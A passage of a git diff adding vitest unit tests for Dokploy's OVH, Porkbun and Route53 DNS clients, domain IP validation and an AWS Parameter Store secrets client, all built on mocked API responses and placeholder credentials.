ovhSuccess([1, 2, 3, 4, 5]), + ...[1, 2, 3, 4, 5].map((id) => ovhSuccess(record(id, `host${id}`))), + ); + + const records = await ovhClient.listRecords(cfg, "example.com"); + + expect(records.map((r) => r.id)).toEqual(["1", "2", "3", "4", "5"]); + }); +}); + +describe("ovhClient.upsertRecord", () => { + it("creates the record then refreshes the zone", async () => { + const cfg = freshConfig(); + mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null)); + + const result = await ovhClient.upsertRecord(cfg, { + zoneId: "example.com", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: 600, + }); + + expect(result).toEqual({ id: "9" }); + const calls = apiCalls(); + expect(calls[0]?.[0]).toContain( + "/domain/zone/example.com/record?fieldType=A&subDomain=app", + ); + expect(calls[1]?.[1].method).toBe("POST"); + expect(JSON.parse(calls[1]?.[1].body as string)).toEqual({ + fieldType: "A", + subDomain: "app", + target: "1.2.3.4", + ttl: 600, + }); + expect(calls[2]?.[0]).toContain("/domain/zone/example.com/refresh"); + expect(calls[2]?.[1].method).toBe("POST"); + }); + + it("updates the existing record when content matches", async () => { + const cfg = freshConfig(); + mockApi( + ovhSuccess([4]), + ovhSuccess({ + id: 4, + zone: "example.com", + fieldType: "A", + subDomain: "app", + target: "1.2.3.4", + ttl: 60, + }), + ovhSuccess(null), + ovhSuccess(null), + ); + + const result = await ovhClient.upsertRecord(cfg, { + zoneId: "example.com", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + }); + + expect(result).toEqual({ id: "4" }); + const calls = apiCalls(); + expect(calls[2]?.[0]).toContain("/domain/zone/example.com/record/4"); + expect(calls[2]?.[1].method).toBe("PUT"); + expect(calls[3]?.[0]).toContain("/refresh"); + }); + + it("creates a new record when content differs from existing", async () => { + const cfg = freshConfig(); + mockApi( + ovhSuccess([4]), + ovhSuccess({ + id: 4, + zone: "example.com", + fieldType: "A", + subDomain: "app", + target: "1.1.1.1", + ttl: 60, + }), + ovhSuccess({ id: 10 }), + ovhSuccess(null), + ); + + const result = await ovhClient.upsertRecord(cfg, { + zoneId: "example.com", + type: "A", + name: "app.example.com", + content: "5.6.7.8", + }); + + expect(result).toEqual({ id: "10" }); + const calls = apiCalls(); + expect(calls[2]?.[1].method).toBe("POST"); + expect(calls[3]?.[0]).toContain("/refresh"); + }); + + it("omits the ttl so OVH applies the zone default", async () => { + const cfg = freshConfig(); + mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null)); + + await ovhClient.upsertRecord(cfg, { + zoneId: "example.com", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + }); + + expect(JSON.parse(apiCalls()[1]?.[1].body as string)).not.toHaveProperty( + "ttl", + ); + }); + + it("writes an empty subDomain for the apex and strips the trailing dot", async () => { + const cfg = freshConfig(); + mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null)); + + await ovhClient.upsertRecord(cfg, { + zoneId: "example.com", + type: "A", + name: "example.com.", + content: "1.2.3.4", + }); + + expect(apiCalls()[0]?.[0]).toContain("subDomain="); + expect(JSON.parse(apiCalls()[1]?.[1].body as string).subDomain).toBe(""); + }); +}); + +describe("ovhClient.updateRecord", () => { + it("updates in place when the type is unchanged", async () => { + const cfg = freshConfig(); + mockApi( + ovhSuccess({ + id: 4, + zone: "example.com", + fieldType: "A", + subDomain: "app", + target: "1.1.1.1", + ttl: 60, + }), + ovhSuccess(null), + ovhSuccess(null), + ); + + const result = await ovhClient.updateRecord(cfg, "example.com", "4", { + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: 300, + }); + + expect(result).toEqual({ id: "4" }); + const calls = apiCalls(); + expect(calls[1]?.[1].method).toBe("PUT"); + expect(JSON.parse(calls[1]?.[1].body as string)).toEqual({ + subDomain: "app", + target: "1.2.3.4", + ttl: 300, + }); + expect(calls[2]?.[0]).toContain("/refresh"); + }); + + it("replaces the record when the type changes, since PUT carries no fieldType", async () => { + const cfg = freshConfig(); + mockApi( + ovhSuccess({ + id: 4, + zone: "example.com", + fieldType: "A", + subDomain: "app", + target: "1.1.1.1", + ttl: 60, + }), + ovhSuccess(null), + ovhSuccess({ id: 11 }), + ovhSuccess(null), + ); + + const result = await ovhClient.updateRecord(cfg, "example.com", "4", { + type: "CNAME", + name: "app.example.com", + content: "example.com", + }); + + expect(result).toEqual({ id: "11" }); + const calls = apiCalls(); + expect(calls[1]?.[1].method).toBe("DELETE"); + expect(calls[2]?.[1].method).toBe("POST"); + expect(JSON.parse(calls[2]?.[1].body as string).fieldType).toBe("CNAME"); + expect(calls[3]?.[0]).toContain("/refresh"); + }); + + it("restores the original record when the replacement fails", async () => { + const cfg = freshConfig(); + const original = { + id: 4, + zone: "example.com", + fieldType: "A", + subDomain: "app", + target: "1.1.1.1", + ttl: 60, + }; + mockApi( + ovhSuccess(original), + ovhSuccess(null), + ovhError("Invalid target", 400), + ovhSuccess({ id: 12 }), + ovhSuccess(null), + ); + + await expect( + ovhClient.updateRecord(cfg, "example.com", "4", { + type: "CNAME", + name: "app.example.com", + content: "not a valid target", + }), + ).rejects.toThrow("Invalid target"); + + const calls = apiCalls(); + expect(calls[1]?.[1].method).toBe("DELETE"); + expect(calls[2]?.[1].method).toBe("POST"); + // The original record is put back with its own type, target and ttl. + expect(JSON.parse(calls[3]?.[1].body as string)).toEqual({ + fieldType: "A", + subDomain: "app", + target: "1.1.1.1", + ttl: 60, + }); + expect(calls[4]?.[0]).toContain("/refresh"); + }); + + it("reports the lost record when the restore also fails", async () => { + const cfg = freshConfig(); + mockApi( + ovhSuccess({ + id: 4, + zone: "example.com", + fieldType: "A", + subDomain: "app", + target: "1.1.1.1", + ttl: 60, + }), + ovhSuccess(null), + ovhError("Invalid target", 400), + ovhError("Service unavailable", 503), + ); + + await expect( + ovhClient.updateRecord(cfg, "example.com", "4", { + type: "CNAME", + name: "app.example.com", + content: "not a valid target", + }), + ).rejects.toThrow( + /Recreate it manually: A app\.example\.com -> 1\.1\.1\.1/, + ); + }); + + it("says the change was applied when only the zone refresh fails", async () => { + const cfg = freshConfig(); + mockApi( + ovhSuccess({ + id: 4, + zone: "example.com", + fieldType: "A", + subDomain: "app", + target: "1.1.1.1", + ttl: 60, + }), + ovhSuccess(null), + ovhSuccess({ id: 11 }), + ovhError("Service unavailable", 503), + ); + + // The replacement succeeded, so the record exists at the provider — only + // publishing failed. Rolling back would destroy correct state. + await expect( + ovhClient.updateRecord(cfg, "example.com", "4", { + type: "CNAME", + name: "app.example.com", + content: "example.com", + }), + ).rejects.toThrow(/was applied, but refreshing zone "example\.com" failed/); + }); + + it("does not tell the user to recreate a record that was restored but not published", async () => { + const cfg = freshConfig(); + mockApi( + ovhSuccess({ + id: 4, + zone: "example.com", + fieldType: "A", + subDomain: "app", + target: "1.1.1.1", + ttl: 60, + }), + ovhSuccess(null), // DELETE de l'ancien + ovhError("Invalid target", 400), // POST de remplacement -> échec + ovhSuccess({ id: 12 }), // POST de restauration -> succès + ovhError("Service unavailable", 503), // refresh -> échec + ); + + const attempt = ovhClient.updateRecord(cfg, "example.com", "4", { + type: "CNAME", + name: "app.example.com", + content: "not a valid target", + }); + + // L'enregistrement existe de nouveau chez OVH : le recréer le dupliquerait. + await expect(attempt).rejects.toThrow(/was restored, but refreshing zone/); + await expect(attempt).rejects.not.toThrow(/Recreate it manually/); + }); +}); + +describe("ovhClient.deleteRecord", () => { + it("deletes the record then refreshes the zone", async () => { + const cfg = freshConfig(); + mockApi(ovhSuccess(null), ovhSuccess(null)); + + await ovhClient.deleteRecord(cfg, "example.com", "4"); + + const calls = apiCalls(); + expect(calls[0]?.[0]).toContain("/domain/zone/example.com/record/4"); + expect(calls[0]?.[1].method).toBe("DELETE"); + expect(calls[1]?.[0]).toContain("/domain/zone/example.com/refresh"); + }); + + it("does not refresh the zone when the delete fails", async () => { + const cfg = freshConfig(); + mockApi(ovhError("This object does not exist", 404)); + + await expect( + ovhClient.deleteRecord(cfg, "example.com", "4"), + ).rejects.toThrow("This object does not exist"); + expect(apiCalls()).toHaveLength(1); + }); +}); + +describe("ovhClient.testConnection", () => { + it("resolves when the zone listing succeeds", async () => { + const cfg = freshConfig(); + mockApi(ovhSuccess([])); + + await expect(ovhClient.testConnection(cfg)).resolves.toBeUndefined(); + }); + + it("rejects on invalid credentials", async () => { + const cfg = freshConfig(); + mockApi(ovhError("Invalid signature", 403)); + + await expect(ovhClient.testConnection(cfg)).rejects.toThrow( + "Invalid signature", + ); + }); +}); diff --git a/apps/dokploy/__test__/dns/porkbun.test.ts b/apps/dokploy/__test__/dns/porkbun.test.ts new file mode 100644 index 000000000..a72b882ba --- /dev/null +++ b/apps/dokploy/__test__/dns/porkbun.test.ts @@ -0,0 +1,237 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mockFetch = vi.fn(); +global.fetch = mockFetch as typeof fetch; + +import { porkbunClient } from "@dokploy/server/utils/dns/porkbun"; + +const jsonResponse = (body: unknown, ok = true, status = 200) => + ({ + ok, + status, + json: async () => body, + }) as Response; + +const pbSuccess = (result: Record = {}) => + jsonResponse({ status: "SUCCESS", ...result }); + +const pbError = (message: string, status = 400) => + jsonResponse({ status: "ERROR", message }, false, status); + +const config = { + providerType: "porkbun" as const, + apiKey: "pk1_test", + secretApiKey: "sk1_test", +}; + +beforeEach(() => { + mockFetch.mockReset(); +}); + +describe("porkbunClient.listZones", () => { + it("lists all domains as zones", async () => { + mockFetch.mockResolvedValue( + pbSuccess({ domains: [{ domain: "example.com" }] }), + ); + + const zones = await porkbunClient.listZones(config); + + expect(zones).toEqual([{ id: "example.com", name: "example.com" }]); + const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit]; + expect(url).toContain("/domain/listAll"); + const body = JSON.parse(init.body as string); + expect(body).toMatchObject({ + apikey: "pk1_test", + secretapikey: "sk1_test", + }); + }); +}); + +describe("porkbunClient.listRecords", () => { + it("lists records for a domain", async () => { + mockFetch.mockResolvedValue( + pbSuccess({ + records: [ + { + id: "1", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: "600", + prio: "0", + notes: "", + }, + ], + }), + ); + + const records = await porkbunClient.listRecords(config, "example.com"); + + expect(records).toEqual([ + { + id: "1", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: 600, + }, + ]); + expect(mockFetch.mock.calls[0]?.[0]).toContain("/dns/retrieve/example.com"); + }); +}); + +describe("porkbunClient.upsertRecord", () => { + it("creates a record when none exists for the name/type", async () => { + mockFetch + .mockResolvedValueOnce(pbSuccess({ records: [] })) + .mockResolvedValueOnce(pbSuccess({ id: "new-1" })); + + const result = await porkbunClient.upsertRecord(config, { + zoneId: "example.com", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + }); + + expect(result).toEqual({ id: "new-1" }); + const [lookupUrl] = mockFetch.mock.calls[0] as [string]; + expect(lookupUrl).toContain("/dns/retrieveByNameType/example.com/A/app"); + const [createUrl, createInit] = mockFetch.mock.calls[1] as [ + string, + RequestInit, + ]; + expect(createUrl).toContain("/dns/create/example.com"); + const body = JSON.parse(createInit.body as string); + expect(body).toMatchObject({ name: "app", type: "A", content: "1.2.3.4" }); + }); + + it("resolves the apex domain to an empty subdomain", async () => { + mockFetch + .mockResolvedValueOnce(pbSuccess({ records: [] })) + .mockResolvedValueOnce(pbSuccess({ id: "new-2" })); + + await porkbunClient.upsertRecord(config, { + zoneId: "example.com", + type: "A", + name: "example.com", + content: "1.2.3.4", + }); + + const [lookupUrl] = mockFetch.mock.calls[0] as [string]; + expect(lookupUrl).toContain("/dns/retrieveByNameType/example.com/A/"); + }); + + it("edits the existing record when content matches", async () => { + mockFetch + .mockResolvedValueOnce( + pbSuccess({ records: [{ id: "existing-1", content: "5.6.7.8" }] }), + ) + .mockResolvedValueOnce(pbSuccess({})); + + const result = await porkbunClient.upsertRecord(config, { + zoneId: "example.com", + type: "A", + name: "app.example.com", + content: "5.6.7.8", + }); + + expect(result).toEqual({ id: "existing-1" }); + const [editUrl] = mockFetch.mock.calls[1] as [string, RequestInit]; + expect(editUrl).toContain("/dns/edit/example.com/existing-1"); + }); + + it("creates a new record when content differs from existing", async () => { + mockFetch + .mockResolvedValueOnce( + pbSuccess({ records: [{ id: "existing-1", content: "1.1.1.1" }] }), + ) + .mockResolvedValueOnce(pbSuccess({ id: "new-2" })); + + const result = await porkbunClient.upsertRecord(config, { + zoneId: "example.com", + type: "A", + name: "app.example.com", + content: "5.6.7.8", + }); + + expect(result).toEqual({ id: "new-2" }); + const [createUrl, createInit] = mockFetch.mock.calls[1] as [ + string, + RequestInit, + ]; + expect(createUrl).toContain("/dns/create/example.com"); + const body = JSON.parse(createInit.body as string); + expect(body).toMatchObject({ name: "app", type: "A", content: "5.6.7.8" }); + }); + + it("defaults ttl to 600 when not provided", async () => { + mockFetch + .mockResolvedValueOnce(pbSuccess({ records: [] })) + .mockResolvedValueOnce(pbSuccess({ id: "new-1" })); + + await porkbunClient.upsertRecord(config, { + zoneId: "example.com", + type: "CNAME", + name: "www.example.com", + content: "example.com", + }); + + const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit]; + const body = JSON.parse(createInit.body as string); + expect(body.ttl).toBe(600); + }); +}); + +describe("porkbunClient.updateRecord", () => { + it("edits the given record id", async () => { + mockFetch.mockResolvedValue(pbSuccess({})); + + const result = await porkbunClient.updateRecord( + config, + "example.com", + "1", + { + type: "A", + name: "app.example.com", + content: "9.9.9.9", + ttl: 300, + }, + ); + + expect(result).toEqual({ id: "1" }); + const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit]; + expect(url).toContain("/dns/edit/example.com/1"); + expect(JSON.parse(init.body as string)).toMatchObject({ + name: "app", + type: "A", + content: "9.9.9.9", + ttl: 300, + }); + }); +}); + +describe("porkbunClient.deleteRecord", () => { + it("posts to the delete endpoint for the given record id", async () => { + mockFetch.mockResolvedValue(pbSuccess({})); + + await porkbunClient.deleteRecord(config, "example.com", "1"); + + const [url] = mockFetch.mock.calls[0] as [string]; + expect(url).toContain("/dns/delete/example.com/1"); + }); +}); + +describe("porkbunClient.testConnection", () => { + it("succeeds when the credentials can ping the API", async () => { + mockFetch.mockResolvedValue(pbSuccess({})); + await expect(porkbunClient.testConnection(config)).resolves.toBeUndefined(); + }); + + it("surfaces Porkbun's error message on invalid credentials", async () => { + mockFetch.mockResolvedValue(pbError("Invalid API key.")); + + await expect(porkbunClient.testConnection(config)).rejects.toThrow( + "Invalid API key.", + ); + }); +}); diff --git a/apps/dokploy/__test__/dns/route53.test.ts b/apps/dokploy/__test__/dns/route53.test.ts new file mode 100644 index 000000000..6b3e0ab62 --- /dev/null +++ b/apps/dokploy/__test__/dns/route53.test.ts @@ -0,0 +1,385 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +type HasInput = { input: any }; + +const { + send, + Route53Client, + ListHostedZonesCommand, + ListResourceRecordSetsCommand, + ChangeResourceRecordSetsCommand, +} = vi.hoisted(() => { + class FakeCommand { + input: any; + constructor(input: any) { + this.input = input; + } + } + const send = vi.fn(); + class Route53Client { + send(command: unknown) { + return send(command); + } + } + return { + send, + Route53Client, + ListHostedZonesCommand: class extends FakeCommand {}, + ListResourceRecordSetsCommand: class extends FakeCommand {}, + ChangeResourceRecordSetsCommand: class extends FakeCommand {}, + }; +}); + +vi.mock("@aws-sdk/client-route-53", () => ({ + Route53Client, + ListHostedZonesCommand, + ListResourceRecordSetsCommand, + ChangeResourceRecordSetsCommand, +})); + +import { route53Client } from "@dokploy/server/utils/dns/route53"; + +const config = { + providerType: "route53" as const, + accessKeyId: "AKIA_TEST", + secretAccessKey: "secret", +}; + +beforeEach(() => { + send.mockReset(); +}); + +describe("route53Client.listZones", () => { + it("strips the hostedzone prefix and the trailing dot", async () => { + send.mockResolvedValueOnce({ + HostedZones: [{ Id: "/hostedzone/Z123", Name: "example.com." }], + IsTruncated: false, + }); + + const zones = await route53Client.listZones(config); + + expect(zones).toEqual([{ id: "Z123", name: "example.com" }]); + }); + + it("follows the marker until IsTruncated is false", async () => { + send + .mockResolvedValueOnce({ + HostedZones: [{ Id: "/hostedzone/Z1", Name: "a.com." }], + IsTruncated: true, + NextMarker: "marker-1", + }) + .mockResolvedValueOnce({ + HostedZones: [{ Id: "/hostedzone/Z2", Name: "b.com." }], + IsTruncated: false, + }); + + const zones = await route53Client.listZones(config); + + expect(zones).toEqual([ + { id: "Z1", name: "a.com" }, + { id: "Z2", name: "b.com" }, + ]); + expect(send).toHaveBeenCalledTimes(2); + expect((send.mock.calls[1]?.[0] as HasInput).input.Marker).toBe("marker-1"); + }); +}); + +describe("route53Client.listRecords", () => { + it("builds a type:name id and strips the trailing dot from the name", async () => { + send.mockResolvedValueOnce({ + ResourceRecordSets: [ + { + Name: "app.example.com.", + Type: "A", + TTL: 300, + ResourceRecords: [{ Value: "1.2.3.4" }], + }, + ], + IsTruncated: false, + }); + + const records = await route53Client.listRecords(config, "Z123"); + + expect(records).toEqual([ + { + id: "A:app.example.com", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: 300, + }, + ]); + }); + + it("skips record sets with no ResourceRecords (e.g. alias targets)", async () => { + send.mockResolvedValueOnce({ + ResourceRecordSets: [ + { Name: "alias.example.com.", Type: "A", ResourceRecords: [] }, + ], + IsTruncated: false, + }); + + const records = await route53Client.listRecords(config, "Z123"); + + expect(records).toEqual([]); + }); + + it("joins multiple values for the same record", async () => { + send.mockResolvedValueOnce({ + ResourceRecordSets: [ + { + Name: "example.com.", + Type: "NS", + TTL: 172800, + ResourceRecords: [ + { Value: "ns1.example.com" }, + { Value: "ns2.example.com" }, + ], + }, + ], + IsTruncated: false, + }); + + const records = await route53Client.listRecords(config, "Z123"); + + expect(records[0]?.content).toBe("ns1.example.com\nns2.example.com"); + }); +}); + +describe("route53Client.upsertRecord", () => { + it("sends a single UPSERT change when nothing exists yet", async () => { + send + .mockResolvedValueOnce({ ResourceRecordSets: [] }) + .mockResolvedValueOnce({}); + + const result = await route53Client.upsertRecord(config, { + zoneId: "Z123", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + }); + + expect(result).toEqual({ id: "A:app.example.com" }); + const command = send.mock.calls[1]?.[0] as HasInput; + expect(command.input.HostedZoneId).toBe("Z123"); + expect(command.input.ChangeBatch.Changes).toEqual([ + { + Action: "UPSERT", + ResourceRecordSet: { + Name: "app.example.com.", + Type: "A", + TTL: 300, + ResourceRecords: [{ Value: "1.2.3.4" }], + }, + }, + ]); + }); + + it("keeps the values already in the record set", async () => { + send + .mockResolvedValueOnce({ + ResourceRecordSets: [ + { + Name: "app.example.com.", + Type: "A", + TTL: 300, + ResourceRecords: [{ Value: "1.1.1.1" }, { Value: "2.2.2.2" }], + }, + ], + }) + .mockResolvedValueOnce({}); + + await route53Client.upsertRecord(config, { + zoneId: "Z123", + type: "A", + name: "app.example.com", + content: "3.3.3.3", + }); + + const command = send.mock.calls[1]?.[0] as HasInput; + expect( + command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords, + ).toEqual([ + { Value: "1.1.1.1" }, + { Value: "2.2.2.2" }, + { Value: "3.3.3.3" }, + ]); + }); + + it("does not duplicate a value that is already in the record set", async () => { + send + .mockResolvedValueOnce({ + ResourceRecordSets: [ + { + Name: "app.example.com.", + Type: "A", + TTL: 300, + ResourceRecords: [{ Value: "1.1.1.1" }], + }, + ], + }) + .mockResolvedValueOnce({}); + + await route53Client.upsertRecord(config, { + zoneId: "Z123", + type: "A", + name: "app.example.com", + content: "1.1.1.1", + }); + + const command = send.mock.calls[1]?.[0] as HasInput; + expect( + command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords, + ).toEqual([{ Value: "1.1.1.1" }]); + }); + + it("wraps unquoted TXT values in double quotes", async () => { + send + .mockResolvedValueOnce({ ResourceRecordSets: [] }) + .mockResolvedValueOnce({}); + + await route53Client.upsertRecord(config, { + zoneId: "Z123", + type: "TXT", + name: "example.com", + content: 'v=spf1 ~all\n"already quoted"', + }); + + const command = send.mock.calls[1]?.[0] as HasInput; + expect( + command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords, + ).toEqual([{ Value: '"v=spf1 ~all"' }, { Value: '"already quoted"' }]); + }); +}); + +describe("route53Client.updateRecord", () => { + it("only UPSERTs when the name/type identity did not change", async () => { + send.mockResolvedValueOnce({}); + + await route53Client.updateRecord(config, "Z123", "A:app.example.com", { + type: "A", + name: "app.example.com", + content: "9.9.9.9", + }); + + expect(send).toHaveBeenCalledTimes(1); + const command = send.mock.calls[0]?.[0] as HasInput; + expect(command.input.ChangeBatch.Changes).toHaveLength(1); + expect(command.input.ChangeBatch.Changes[0].Action).toBe("UPSERT"); + }); + + it("deletes the old record set and creates the new one on rename", async () => { + const existingSet = { + Name: "old.example.com.", + Type: "A", + TTL: 300, + ResourceRecords: [{ Value: "1.1.1.1" }], + }; + send + .mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }) // findExactRecordSet lookup + .mockResolvedValueOnce({}); // ChangeResourceRecordSets + + await route53Client.updateRecord(config, "Z123", "A:old.example.com", { + type: "A", + name: "new.example.com", + content: "1.1.1.1", + }); + + const changeCommand = send.mock.calls[1]?.[0] as HasInput; + expect(changeCommand.input.ChangeBatch.Changes).toEqual([ + { Action: "DELETE", ResourceRecordSet: existingSet }, + { + Action: "UPSERT", + ResourceRecordSet: { + Name: "new.example.com.", + Type: "A", + TTL: 300, + ResourceRecords: [{ Value: "1.1.1.1" }], + }, + }, + ]); + }); + + it("keeps every line of a multi-value record set", async () => { + send.mockResolvedValueOnce({}); + + await route53Client.updateRecord(config, "Z123", "NS:example.com", { + type: "NS", + name: "example.com", + content: "ns1.example.com\nns2.example.com\n\n ns3.example.com ", + }); + + const command = send.mock.calls[0]?.[0] as HasInput; + expect( + command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords, + ).toEqual([ + { Value: "ns1.example.com" }, + { Value: "ns2.example.com" }, + { Value: "ns3.example.com" }, + ]); + }); + + it("skips the DELETE when the old record no longer exists", async () => { + send + .mockResolvedValueOnce({ ResourceRecordSets: [] }) + .mockResolvedValueOnce({}); + + await route53Client.updateRecord(config, "Z123", "A:gone.example.com", { + type: "A", + name: "new.example.com", + content: "1.1.1.1", + }); + + const changeCommand = send.mock.calls[1]?.[0] as HasInput; + expect(changeCommand.input.ChangeBatch.Changes).toHaveLength(1); + expect(changeCommand.input.ChangeBatch.Changes[0].Action).toBe("UPSERT"); + }); +}); + +describe("route53Client.deleteRecord", () => { + it("deletes the record set found by name/type", async () => { + const existingSet = { + Name: "app.example.com.", + Type: "A", + TTL: 300, + ResourceRecords: [{ Value: "1.2.3.4" }], + }; + send.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }); + send.mockResolvedValueOnce({}); + + await route53Client.deleteRecord(config, "Z123", "A:app.example.com"); + + const changeCommand = send.mock.calls[1]?.[0] as HasInput; + expect(changeCommand.input.ChangeBatch.Changes).toEqual([ + { Action: "DELETE", ResourceRecordSet: existingSet }, + ]); + }); + + it("throws when the record no longer exists", async () => { + send.mockResolvedValueOnce({ ResourceRecordSets: [] }); + + await expect( + route53Client.deleteRecord(config, "Z123", "A:gone.example.com"), + ).rejects.toThrow("not found"); + }); + + it("throws for a malformed record id", async () => { + await expect( + route53Client.deleteRecord(config, "Z123", "not-a-valid-id"), + ).rejects.toThrow("Invalid Route53 record id"); + }); +}); + +describe("route53Client.testConnection", () => { + it("resolves when ListHostedZones succeeds", async () => { + send.mockResolvedValueOnce({ HostedZones: [] }); + await expect(route53Client.testConnection(config)).resolves.toBeUndefined(); + }); + + it("propagates SDK errors", async () => { + send.mockRejectedValueOnce(new Error("InvalidClientTokenId")); + await expect(route53Client.testConnection(config)).rejects.toThrow( + "InvalidClientTokenId", + ); + }); +}); diff --git a/apps/dokploy/__test__/domains/domain-validation.test.ts b/apps/dokploy/__test__/domains/domain-validation.test.ts new file mode 100644 index 000000000..d9e3560c0 --- /dev/null +++ b/apps/dokploy/__test__/domains/domain-validation.test.ts @@ -0,0 +1,149 @@ +import os from "node:os"; +import { + getServerIpCandidates, + validateDomain, +} from "@dokploy/server/services/domain"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +const mocks = vi.hoisted(() => ({ + execAsyncRemote: vi.fn(), + findServerById: vi.fn(), + getPublicIpWithFallback: vi.fn(), + getWebServerSettings: vi.fn(), + resolve4: vi.fn(), + resolve6: vi.fn(), +})); + +vi.mock("node:dns", () => ({ + default: { + resolve4: mocks.resolve4, + resolve6: mocks.resolve6, + }, +})); + +vi.mock("@dokploy/server/utils/process/execAsync", () => ({ + execAsyncRemote: mocks.execAsyncRemote, +})); + +vi.mock("@dokploy/server/services/server", () => ({ + findServerById: mocks.findServerById, +})); + +vi.mock("@dokploy/server/services/web-server-settings", () => ({ + getWebServerSettings: mocks.getWebServerSettings, +})); + +vi.mock("@dokploy/server/wss/utils", () => ({ + getPublicIpWithFallback: mocks.getPublicIpWithFallback, +})); + +describe("getServerIpCandidates", () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + afterEach(() => { + vi.restoreAllMocks(); + vi.useRealTimers(); + }); + + it("includes every address reported by a multi-homed remote server", async () => { + mocks.findServerById.mockResolvedValue({ + ipAddress: "10.0.0.10", + }); + mocks.execAsyncRemote.mockResolvedValue({ + stdout: ["10.0.0.10", "192.0.2.10", "2001:db8::10"].join("\n"), + stderr: "", + }); + + await expect(getServerIpCandidates("server-id")).resolves.toEqual([ + "10.0.0.10", + "192.0.2.10", + "2001:db8::10", + ]); + expect(mocks.execAsyncRemote).toHaveBeenCalledWith( + "server-id", + expect.stringContaining("ip -o addr show scope global"), + ); + }); + + it("includes every address assigned to the local Dokploy host", async () => { + mocks.getWebServerSettings.mockResolvedValue({ + serverIp: "10.0.0.10", + }); + mocks.getPublicIpWithFallback.mockResolvedValue("2001:db8::10"); + vi.spyOn(os, "networkInterfaces").mockReturnValue({ + eth0: [ + { + address: "192.0.2.10", + netmask: "255.255.255.0", + family: "IPv4", + mac: "00:00:00:00:00:00", + internal: false, + cidr: "192.0.2.10/24", + }, + ], + }); + + await expect(getServerIpCandidates()).resolves.toEqual([ + "10.0.0.10", + "192.0.2.10", + "2001:db8::10", + ]); + }); + + it("retains remote interface addresses when public IP detection times out", async () => { + vi.useFakeTimers(); + mocks.findServerById.mockResolvedValue({ + ipAddress: "10.0.0.10", + }); + mocks.execAsyncRemote.mockImplementation( + (_serverId: string, command: string) => { + if (command.includes("curl")) { + return new Promise(() => undefined); + } + return Promise.resolve({ + stdout: "192.0.2.10\n", + stderr: "", + }); + }, + ); + + const candidatesPromise = getServerIpCandidates("server-id"); + await vi.advanceTimersByTimeAsync(7000); + + await expect(candidatesPromise).resolves.toEqual([ + "10.0.0.10", + "192.0.2.10", + ]); + }); +}); + +describe("validateDomain", () => { + afterEach(() => { + vi.clearAllMocks(); + }); + + it("validates an IPv6-only domain against an IPv6 server address", async () => { + const noIpv4 = Object.assign(new Error("queryA ENODATA example.com"), { + code: "ENODATA", + }); + mocks.resolve4.mockImplementation( + (_domain: string, callback: (error: Error | null) => void) => + callback(noIpv4), + ); + mocks.resolve6.mockImplementation( + ( + _domain: string, + callback: (error: Error | null, addresses?: string[]) => void, + ) => callback(null, ["2001:db8::10"]), + ); + + await expect( + validateDomain("example.com", ["2001:db8::10"]), + ).resolves.toMatchObject({ + isValid: true, + resolvedIp: "2001:db8::10", + }); + }); +}); diff --git a/apps/dokploy/__test__/env/aws-parameter-store.test.ts b/apps/dokploy/__test__/env/aws-parameter-store.test.ts new file mode 100644 index 000000000..ffd772772 --- /dev/null +++ b/apps/dokploy/__test__/env/aws-parameter-store.test.ts @@ -0,0 +1,195 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +type HasInput = { input: Record }; + +const findMany = vi.hoisted(() => vi.fn()); + +const { + send, + paginate, + SSMClient, + GetParametersCommand, + DescribeParametersCommand, +} = vi.hoisted(() => { + class FakeCommand { + input: Record; + constructor(input: Record) { + this.input = input; + } + } + const send = vi.fn(); + const paginate = vi.fn(); + class SSMClient { + send(command: unknown) { + return send(command); + } + } + return { + send, + paginate, + SSMClient, + GetParametersCommand: class extends FakeCommand {}, + DescribeParametersCommand: class extends FakeCommand {}, + }; +}); + +vi.mock("@aws-sdk/client-ssm", () => ({ + SSMClient, + GetParametersCommand, + DescribeParametersCommand, + paginateDescribeParameters: paginate, +})); + +vi.mock("@dokploy/server/db", () => ({ + db: { + query: { + vaultProvider: { + findMany: (...args: unknown[]) => findMany(...args), + }, + }, + }, +})); + +import { resolveVaultReferences } from "@dokploy/server/utils/vault"; +import { awsParameterStoreClient } from "@dokploy/server/utils/vault/aws-parameter-store"; + +const config = { + providerType: "aws-parameter-store" as const, + region: "eu-central-1", + accessKeyId: "AKIA_TEST", + secretAccessKey: "secret", +}; + +beforeEach(() => { + send.mockReset(); + paginate.mockReset(); + findMany.mockReset(); +}); + +describe("awsParameterStoreClient", () => { + it("decrypts parameters in batches of ten and preserves selectors", async () => { + const refs = [ + "/prod/database:CURRENT", + ...Array.from({ length: 10 }, (_, index) => `/prod/secret-${index}`), + ]; + send.mockImplementation(async (command: HasInput) => ({ + Parameters: (command.input.Names as string[]).map((ref) => { + if (ref === "/prod/database:CURRENT") { + return { + Name: "/prod/database", + Selector: ":CURRENT", + Value: "selected-value", + }; + } + return { Name: ref, Value: `value-for-${ref}` }; + }), + })); + + const result = await awsParameterStoreClient.getSecrets(config, refs); + + expect(send).toHaveBeenCalledTimes(2); + expect((send.mock.calls[0]?.[0] as HasInput).input).toMatchObject({ + WithDecryption: true, + }); + expect( + ((send.mock.calls[0]?.[0] as 